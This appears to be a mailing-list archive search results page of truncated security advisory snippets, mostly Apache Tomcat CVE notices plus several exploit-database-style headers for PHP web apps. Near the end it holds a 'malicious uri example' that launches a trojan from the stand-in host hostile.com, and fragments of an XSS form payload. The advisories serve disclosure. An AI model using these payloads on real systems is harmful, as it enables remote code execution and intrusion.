CVE-2017-5648 Apache Tomcat Information Disclosure
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
Apache Tomcat 9.0.0.M1 to 9.0.0.M17
Apache Tomcat 8.5.0 to 8.5.11
Apache Tomcat 8.0.0.RC1 to 8.0.41
Apache Tomcat 7.0.0 to 7.0.75
Apache Tomcat 6.0.x is not affected
CVE-2017-5651 Apache Tomcat Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
Apache Tomcat 9.0.0.M1 to 9.0.0.M18
Apache Tomcat 8.5.0 to 8.5.12
Apache Tomcat 8.0.x and earlier are not affected
Description:
The refactoring of the HTTP
CVE-2016-8745 Apache Tomcat Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
Apache Tomcat 9.0.0.M1 to 9.0.0.M13
Apache Tomcat 8.5.0 to 8.5.8
Apache Tomcat 8.0.0.RC1 to 8.0.39 (new)
Apache Tomcat 7.0.0 to 7.0.73 (new)
Apache Tomcat 6.0.16 to
CVE-2016-8745 Apache Tomcat Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
Apache Tomcat 9.0.0.M1 to 9.0.0.M13
Apache Tomcat 8.5.0 to 8.5.8
Earlier versions are not affected.
Description
The refactoring of the Connector code for 8.5.x
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2015-5174 Apache Tomcat Limited Directory Traversal
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 6.0.0 to 6.0.44
- - Apache Tomcat 7.0.0 to 7.0.64
- - Apache Tomcat 8.0.0.RC1 to 8.0.26
- - Apache
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2015-5351 Apache Tomcat CSRF token leak
Severity: Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 7.0.1 to 7.0.67
- - Apache Tomcat 8.0.0.RC1 to 8.0.31
- - Apache Tomcat 9.0.0.M1
Description:
The index
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2016-0763 Apache Tomcat Security Manager Bypass
Severity: Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 7.0.0 to 7.0.67
- - Apache Tomcat 8.0.0.RC1 to 8.0.30
- - Apache Tomcat 9.0.0.M1 to 9.0.0.M2
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2015-5345 Apache Tomcat Directory disclosure
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 6.0.0 to 6.0.44
- - Apache Tomcat 7.0.0 to 7.0.66
- - Apache Tomcat 8.0.0.RC1 to 8.0.29
- - Apache Tomcat
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2016-0714 Apache Tomcat Security Manager Bypass
Severity: Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 6.0.0 to 6.0.44
- - Apache Tomcat 7.0.0 to 7.0.67
- - Apache Tomcat 8.0.0.RC1 to 8.0.30
- - Apache
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2016-0706 Apache Tomcat Security Manager bypass
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 6.0.0 to 6.0.44
- - Apache Tomcat 7.0.0 to 7.0.67
- - Apache Tomcat 8.0.0.RC1 to 8.0.30
- - Apache
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2015-5346 Apache Tomcat Session fixation
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 7.0.5 to 7.0.65
- - Apache Tomcat 8.0.0.RC1 to 8.0.30
- - Apache Tomcat 9.0.0.M1
Description:
When recycling
se from vendor
2015-12-19: updated version released
2016-01-08: public disclosure
- - - --
Thomas Bleier | Hauptplatz 16, A-7374 Weingraben, Austria
E-Mail: tho...@bleier.at | Phone: +43-664-3400559
-BEGIN PGP SIGNATURE-
Version: GnuPG v2
iQIcBAEBCAAGBQJWj4YQAAoJEL5usxLqBS4yYAkP/ibotCf
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
secunet Security Networks AG Security Advisory
Advisory: SECURE DATA SPACE API Multiple Non-Persistent Cross-Site Scripting
Vulnerabilities
1. DETAILS
- --
Product: SECURE DATA SPACE
Vendor URL: www.ssp-europe.eu
Type: Cross-site
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2014-7810 Security Manager Bypass
Severity: Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 8.0.0-RC1 to 8.0.15
- - Apache Tomcat 7.0.0 to 7.0.57
- - Apache Tomcat 6.0.0 to 6.0.43
Description:
Malicious
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
CVE-2014-0230 Denial of Service
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 8.0.0-RC1 to 8.0.8
- - Apache Tomcat 7.0.0 to 7.0.54
- - Apache Tomcat 6.0.0 to 6.0.43
Description:
When a response for a
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2014-0227 Request Smuggling
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 8.0.0-RC1 to 8.0.8
- - Apache Tomcat 7.0.0 to 7.0.54
- - Apache Tomcat 6.0.0 to 6.0.41
Description:
It was possible to
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
We would like to announce that a significant security vulnerability has been
discovered in all current versions of FreePBX.
A CVE has been requested from Mitre, but has yet to be provided.
Further details as they come to hand will be available from
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2013- Remote Code Execution
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 7.0.0 to 7.0.39
Description:
In very limited circumstances, it was possible for an attacker to upload
a malicious
CVE-2014-0075 Denial of Service
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Apache Tomcat 8.0.0-RC1 to 8.0.3
- Apache Tomcat 7.0.0 to 7.0.52
- Apache Tomcat 6.0.0 to 6.0.39
Description:
It was possible to craft a malformed chunk size as part of a chucked
CVE-2014-0096 Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Apache Tomcat 8.0.0-RC1 to 8.0.3
- Apache Tomcat 7.0.0 to 7.0.52
- Apache Tomcat 6.0.0 to 6.0.39
Description:
The default servlet allows web applications to define (at multiple
CVE-2014-0095 Denial of Service
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Apache Tomcat 8.0.0-RC2 to 8.0.3
Description:
A regression was introduced in revision 1519838 that caused AJP
requests to hang if an explicit content length of zero was set on the
CVE-2014-0097 Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Apache Tomcat 8.0.0-RC1 to 8.0.3
- Apache Tomcat 7.0.0 to 7.0.52
- Apache Tomcat 6.0.0 to 6.0.39
Description:
The code used to parse the request content length header did not
CVE-2014-0119 Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Apache Tomcat 8.0.0-RC1 to 8.0.5
- Apache Tomcat 7.0.0 to 7.0.53
- Apache Tomcat 6.0.0 to 6.0.39
Description:
In limited circumstances it was possible for a malicious web
CORRECTION: This is CVE-2014-0099 *NOT* -0097
Apologies for the typo
On 27/05/2014 13:46, Mark Thomas wrote:
CVE-2014-0099 Information Disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Apache Tomcat 8.0.0-RC1 to 8.0.3
- Apache
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2014-0033 Session fixation still possible with disableURLRewriting
enabled
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 6.0.33 to 6.0.37
Description:
Previous fixes to path parameter handling [1]
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2013-4322 Incomplete fix for CVE-2012-3544 (Denial of Service)
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 8.0.0-RC1 to 8.0.0-RC5
- - Apache Tomcat 7.0.0 to 7.0.47
- - Apache Tomcat 6.0.0 to
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2013-4590 Information disclosure via XXE when running untrusted web
applications
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 8.0.0-RC1 to 8.0.0-RC5
- - Apache Tomcat 7.0.0 to 7.0.47
- - Apache
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2013-4286 Incomplete fix for CVE-2005-2090 (Information disclosure)
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Apache Tomcat 8.0.0-RC1
- - Apache Tomcat 7.0.0 to 7.0.42
- - Apache Tomcat 6.0.0 to 6.0.37
Overview:
Unauthenticated user-level Remote Code Execution (RCE) vulnerability in
admin/config.php, the main interface to FreePBX. This bug was introduced in
FreePBX 2.9, earlier versions are not affected.
Score - 8.4
(AV:N/AC:L/Au:N/C:P/I:P/A:C/E:H/RL:OF/RC:C/CDP:MH/TD:ND/CR:L/IR:L/AR:M)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat DoS
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Commons FileUpload 1.0 to 1.3
- - Apache Tomcat 8.0.0-RC1 to 8.0.1
- - Apache Tomcat 7.0.0 to 7.0.50
- -
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2013-2071 Request mix-up if AsyncListener method throws
RuntimeException
Severity: Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.39
Description:
Bug 54178 described a scenario where
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2013-2067 Session fixation with FORM authenticator
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.32
- - Tomcat 6.0.21 to 6.0.36
Description:
FORM authentication associates the most recent
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2012-3544 Chunked transfer encoding extension size is not limited
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.29
- - Tomcat 6.0.0 to 6.0.36
Description:
When processing a request
you please tell us the date you informed Microsoft about the
discovered vulnerability or was it also available to Microsoft since
June 2010?
Thanks.
--
Regards,
Thomas
CVE-2013-0248 Apache Commons FileUpload - Insecure examples
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- Commons FileUpload 1.0 to 1.2.2
Description:
Commons FileUpload provides file upload capability for Servlets and web
applications. During the upload process,
# Exploit Title: Android Kernel 2.6 Local DoS
# Date: 12/7/12
# Author: G13
# Twitter: @g13net
# Versions: Android 2.2, 2.3
# Category: DoS (android)
#
# Vulnerability #
The Android OS is vulnerable to a local DoS when a filename with a
length of 2048
or larger is attempted to be written
CVE-2012-4534 Apache Tomcat denial of service
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.0 to 7.0.27
- Tomcat 6.0.0 to 6.0.35
Description:
When using the NIO connector with sendfile and HTTPS enabled, if a
client breaks the connection while
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2012-3546 Apache Tomcat Bypass of security constraints
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.29
- - Tomcat 6.0.0 to 6.0.35
Earlier unsupported versions may also be affected
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2012-4431 Apache Tomcat Bypass of CSRF prevention filter
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.31
- - Tomcat 6.0.0 to 6.0.35
Description:
The CSRF prevention filter could be
# Exploit Title: Inventory 1.0 Multiple SQL Vulnerabilities
# Date: 10/19/12
# Author: G13
# Twitter: @g13net
# Software Site: https://github.com/farevalod/inventory
# Version: 1.0
# Category: webapp (php)
# dc585
# ToC #
0x01 Description
0x02 SQL Injection
0x03 Vendor Notification
# Exploit Title: Inventory 1.0 Multiple XSS Vulnerabilities
# Date: 10/19/12
# Author: G13
# Twitter: @g13net
# Software Site: https://github.com/farevalod/inventory
# Version: 1.0
# Category: webapp (php)
# dc585
# ToC #
0x01 Description
0x02 XSS
0x03 Vendor Notification
# 0x01
my point of view - have not understand how runtimes
will be used and why it isn't really a risk.
But as I said in the beginning, maybe I didn't get your point.
--
Regards,
Thomas
# Exploit Title: PHP Volunteer Management 'id' 1.0.2 Multiple Vulnerabilities
# Date: 04/21/12
# Author: G13
# Twitter: @g13net
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Category: webapp (php)
#
# ToC #
0x01 Description
0x02 XSS
0x03 SQL Injection
# Exploit Title: PHP Ticket System Beta 1 'p' SQL Injection
# Date: 04/16/12
# Author: G13
# Twitter: @g13net
# Software Site: http://sourceforge.net/projects/phpticketsystem/
# Version: Beta 1
# Category: webapp (php)
#
# Description #
PHP Ticket System is a small PHP MySQL trouble
# Exploit Title: phpMyBible 0.5.1 Mutiple XSS
# Date: 04/15/12
# Author: G13
# Twitter: @g13net
# Software http://sourceforge.net/projects/phpmybible/?source=directory
# Version: 0.5.1
# Category: webapps (php)
#
# Description #
phpMyBible is an online collaborative project to make an
# Exploit Title: ChurchCMS 0.0.1 'admin.php' Multiple SQLi
# Date: 04/21/12
# Author: G13
# Twitter: @g13net
# Software Link: http://sourceforge.net/projects/churchcms/?source=directory
# Version: 0.0.1
# Category: webapps (php)
#
# Description #
ChurchCMS is the software to place on
# Exploit Title: Timesheet Next Gen 1.5.2 Multiple SQLi
# Date: 02/23/12
# Author: G13
# Software Link: https://sourceforge.net/projects/tsheetx/
# Version: 1.5.2
# Category: webapps (php)
#
# Vulnerability #
The login.php page has multiple SQL injection vulnerabilities. Both
the
# Exploit Title: Kongreg8 1.7.3 Mutiple XSS
# Date: 02/24/12
# Author: G13
# Software Link: https://sourceforge.net/projects/kongreg8/
# Version: 1.7.3
# Category: webapps (php)
#
# Vulnerability #
Kongreg8 1.7.3 has multiple XSS vulnerabilites. These vulnerabilities
are in the Add
# Exploit Title: PHP Gift Registry 1.5.5 SQL Injection
# Date: 02/22/12
# Author: G13
# Software Link: https://sourceforge.net/projects/phpgiftreg/
# Version: 1.5.5
# Category: webapps (php)
#
# Vulnerability #
The userid parameter in the users.php file is vulnerable to SQL Injection.
A
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
AdaCore Security Advisory
=
SA-2012-L119-003 Hash collisions in AWS
Problem:Impacted versions of AWS store key/value pairs from submitted
form data in hash tables using a hash function that has
CVE-2011-3375 Apache Tomcat Information disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.0 to 7.0.21
- Tomcat 6.0.30 to 6.0.33
- Earlier versions are not affected
Description:
For performance reasons, information parsed from a request is
CVE-2012-0022 Apache Tomcat Denial of Service
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.0 to 7.0.22
- Tomcat 6.0.0 to 6.0.33
- Tomcat 5.5.0 to 5.5.34
- Earlier, unsupported versions may also be affected
Description:
Analysis of the recent hash
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2011-3376 Apache Tomcat - Privilege Escalation via Manager app
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.21
Description:
This issue only affects environments running web applications that
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2011-1184 Apache Tomcat - Multiple weaknesses in HTTP DIGEST
authentication
Severity: Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.11
- - Tomcat 6.0.0 to 6.0.32
- - Tomcat 5.5.0 to 5.5.33
- -
CVE-2011-3190 Apache Tomcat Authentication bypass and information disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.0 to 7.0.20
- Tomcat 6.0.0 to 6.0.33
- Tomcat 5.5.0 to 5.5.33
- Earlier, unsupported versions may also be affected
CVE-2011-2729: Commons Daemon fails to drop capabilities (Apache Tomcat)
Severity: Important
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 7.0.0 to 7.0.19
Tomcat 6.0.30 to 6.0.32
Tomcat 5.5.32 to 5.5.33
Description:
Due to a bug in the capabilities code, jsvc (the service
CVE-2011-2481: Apache Tomcat information disclosure vulnerability
Severity: low
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 7.0.0 to 7.0.16
Previous versions are not affected.
Description:
The re-factoring of XML validation for Tomcat 7.0.x re-introduced the
vulnerability
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2011-2526: Apache Tomcat Information disclosure and availability
vulnerabilities
Severity: low
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 7.0.0 to 7.0.18
Tomcat 6.0.0 to 6.0.32
Tomcat 5.5.0 to 5.0.33
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2011-1582 Apache Tomcat security constraint bypass
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.12-7.0.13
- - Earlier versions are not affected
Description:
An error in the fixes for
CVE-2011-1475 Apache Tomcat information disclosure
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.0 to 7.0.11
- Earlier versions are not affected
Description:
Changes introduced to the HTTP BIO connector to support Servlet 3.0
asynchronous requests
CVE-2011-1183 Apache Tomcat security constraint bypass
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.11
- Earlier versions are not affected
Description:
A regression in the fix for CVE-2011-1088 meant that security
constraints were ignored when no
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2011-1088 Apache Tomcat security constraint bypass
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.10
- - Earlier versions are not affected
Description:
When a web application was started,
CVE-2010-3718 Apache Tomcat Local bypass of security manger file permissions
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- Tomcat 7.0.0 to 7.0.3
- Tomcat 6.0.0 to 6.0.?
- Tomcat 5.5.0 to 5.5.?
- Earlier, unsupported versions may also be affected
Description:
When
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2010-3718 Apache Tomcat Local bypass of security manger file permissions
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.3
- - Tomcat 6.0.0 to 6.0.?
- - Tomcat 5.5.0 to 5.5.?
- - Earlier,
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
The original report is [1].
Tomcat is affected when accessing a form based security constrained
page or any page that calls javax.servlet.ServletRequest.getLocale() or
javax.servlet.ServletRequest.getLocales().
Work-arounds have been implemented in
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2011-0534 Apache Tomcat DoS vulnerability
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.6
- - Tomcat 6.0.0 to 6.0.30
Description:
Tomcat did not enforce the maxHttpHeaderSize limit while
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2010-4172: Apache Tomcat Manager application XSS vulnerability
Severity: Tomcat 7.0.x - Low, Tomcat 6.0.x - Moderate
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 7.0.0 to 7.0.4
- Not affected in default configuration.
cPanel 11.25 is vulnerable to an XSS exploit as it fails to clean user-supplied
input.
All versions prior to 47010 are affected. Please note that whilst this
vulnerability is patched in version 47010, 47010 is currently on the
bleeding-edge and isn't recommended for the stable environment.
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2010-2227: Apache Tomcat Remote Denial Of Service and Information
Disclosure Vulnerability
Severity: Important
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 5.5.0 to 5.5.29
Tomcat 6.0.0 to 6.0.27
Tomcat 7.0.0
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2010-1157: Apache Tomcat information disclosure vulnerability
Severity: Low
Vendor: The Apache Software Foundation
Versions Affected:
- - Tomcat 6.0.0 to 6.0.26
- - Tomcat 5.5.0 to 5.5.29
Note: The unsupported Tomcat 3.x, 4.x and 5.0.x versions
Schoenefeld of the Red Hat Security Response Team
References:
[1] http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iQIcBAEBAgAGBQJLXMF6AAoJEBDAHFovYFnniGcP
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2009-2902: Apache Tomcat unexpected file deletion in work directory
Severity: Low
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 5.5.0 to 5.5.28
Tomcat 6.0.0 to 6.0.20
The unsupported Tomcat 3.x, 4.x and 5.0.x versions may be
that an undeploy removes all files. If one or more
files cannot be deleted, it may be necessary to stop Tomcat before the
files can be deleted.
Credit:
This issue was discovered by the Apache Tomcat security team
References:
[1] http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Updated to add additional patches required for 5.5.x and 4.1.x
CVE-2008-5515: Apache Tomcat information disclosure vulnerability
Severity: Important
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 4.1.0 to 4.1.39
Tomcat 5.5.0 to
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2008-5515: Apache Tomcat information disclosure vulnerability
Severity: Important
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 4.1.0 to 4.1.39
Tomcat 5.5.0 to 5.5.27
Tomcat 6.0.0 to 6.0.18
The unsupported Tomcat 3.x, 4.0.x
application is configured to use FORM authentication:
POST /j_security_check HTTP/1.1
Host: localhost
j_username=tomcatj_password=%
Credit:
This issue was discovered by D. Matscheko and T. Hackner of SEC Consult.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2009-0783: Apache Tomcat information disclosure vulnerability
Severity: low
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 6.0.0 to 6.0.18
Tomcat 5.5.0 to 5.5.27
Tomcat 4.1.0 to 4.1.39
The unsupported Tomcat 3.x, 4.0.x and
.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iEYEARECAAYFAkommckACgkQb7IeiTPGAkP75ACg7XYuld/25X2ltLLTeeQx88UB
pFgAn1f6mIpzU7QUnjF4lsHcR+6lY67B
=a0AC
-2007-2807
[2] http://www.eggheads.org/downloads/
[3] http://windrop.sourceforge.net/downloads.html
---
Thomas Sader (thommey)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2009-1190: Spring Framework Remote Denial of Service Vulnerability
Severity: Low
Vendor: SpringSource
Versions Affected:
Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2
dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Vulnerability announcement:
CVE-2008-5519: Apache Tomcat mod_jk information disclosure vulnerability
Severity: important
Vendor: The Apache Software Foundation
Versions Affected:
mod_jk 1.2.0 to 1.2.26
Description:
Situations where faulty clients
announced for the first
time 8 months ago ...
What do you think about that?
Best Regards,
Julien Thomas
On Mon, Mar 9, 2009 at 8:50 AM, alexchf@gmail.com wrote:
Is there any patch for the v1.9.9 to avoid this security issue?
--
-- Julien Thomas
Plus d'informations (projets, site personnel
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2009-0781: Apache Tomcat cross-site scripting vulnerability
Severity: low
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 6.0.0 to 6.0.18
Tomcat 5.5.0 to 5.5.27
Tomcat 4.1.0 to 4.1.39
Description:
The calendar application in
and reported to the Tomcat Security
Team via JPCERT.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJpdGRb7IeiTPGAkMRAkK+AKC1m5WunqOmwuFYSYEoASF
and sensitive file
disclosure in Shared Hosting environment.
---
Ben M. Thomas
cPanel, Inc.
Eduardo Vela wrote:
Probably one of this are the vulnerabilty descriptions of the bugs:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5460
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4017
Looks to be an exact match with
to 6.0.18
5.5.x users should upgrade to 5.5.27
4.1.x users should upgrade to 4.1.39
Credit:
This additional information was discovered by the Apache security
team.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.8 (Darwin)
Comment
://lynx.isc.org/lynx2.8.5/patches/2.8.5rel.6.patch.gz
(last November...)
--
Thomas E. Dickey
http://invisible-island.net
ftp://invisible-island.net
will succeed.
Credit:
This issue was discovered by Kenichi Tsukamoto (Development Dept. II,
Application Management Middleware Div., FUJITSU LIMITED) and reported to
the Tomcat security team via JPCERT.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE
MYSQL COMMAND-LINE CLIENT HTML INJECTION VULNERABILITY
Thomas Henlich [EMAIL PROTECTED]
DESCRIPTION
The mysql command-line client does not quote HTML special characters
like in its output. This allows an attacker who is able to write data
into a table to hide or modify records in the output
://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.8 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iEYEARECAAYFAkjHnCMACgkQb7IeiTPGAkMoLQCg2PxS09CpZGI9t+QcdifSfMh8
CHcAoOSRAPOzAFH5hx1w8jxOBthrAKEJ
=Fi0E
-END PGP SIGNATURE-
/web.xml
Credit:
This issue was discovered by Stefano Di Paola of Minded Security Research
Labs.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
message = Authorization is required to access + payload;
~ response.sendError(403, message);
%
Credit:
This issue was discovered by Konstantin Kolinko.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (MingW32)
Comment: Using
was reported by Julien A. Thomas.
Contact : [EMAIL PROTECTED]
TELECOM Bretagne homepage: http://perso.telecom-bretagne.eu/julienthomas/
Personal homepage: http://www.julienthomas.eu/
Other Information
Date Discovered - 16/07/2008
Date Public - 18/07/2008
Date First Published - 18/07/2008
Date Last
=scriptalert()/script
~ INPUT TYPE=hidden NAME='aliases' VALUE=somealias
~ input type=submit
/form
Credit:
These issues were discovered by Petr Splichal of RedHat.
References:
http://tomcat.apache.org/security.html
Mark Thomas
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (MingW32)
Comment: Using
code.
The argument to the -launcher option for example is an executable
that will be executed.
malicious uri example:
cai:%20-launcher%20\\hostile.com\d$\trojan
original advisory :
http://thomas.pollet.googlepages.com/lotusexpeditorurihandlervulnerability
Regards,
Thomas Pollet
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2007-5333: Tomcat Cookie handling vulnerabilities
Severity: low - Session hi-jacking
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 4.1.0 to 4.1.36
Tomcat 5.5.0 to 5.5.25
Tomcat 6.0.0 to 6.0.14
Description:
The previous fix
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2007-6286: Tomcat duplicate request processing vulnerability
Severity: Important
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 5.5.11 to 5.5.25
Tomcat 6.0.0 to 6.0.15
Description:
When using the native (APR based)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
CVE-2008-0002: Tomcat information disclosure vulnerability
Severity: important
Vendor:
The Apache Software Foundation
Versions Affected:
Tomcat 6.0.5 to 6.0.15
Description:
If an exception occurs during the processing of parameters (eg if the
Ruby Net::HTTPS library does not validate server certificate CN
Python has (had?) the same problem and the various ssl add-ons don't
make the situation better.
Bye,
Thomas
--
Tom [EMAIL PROTECTED]
fingerprint = F055 43E5 1F3C 4F4F 9182 CD59 DBC6 111A 8516 8DBF
1 - 100 of 225 matches
Mail list logo
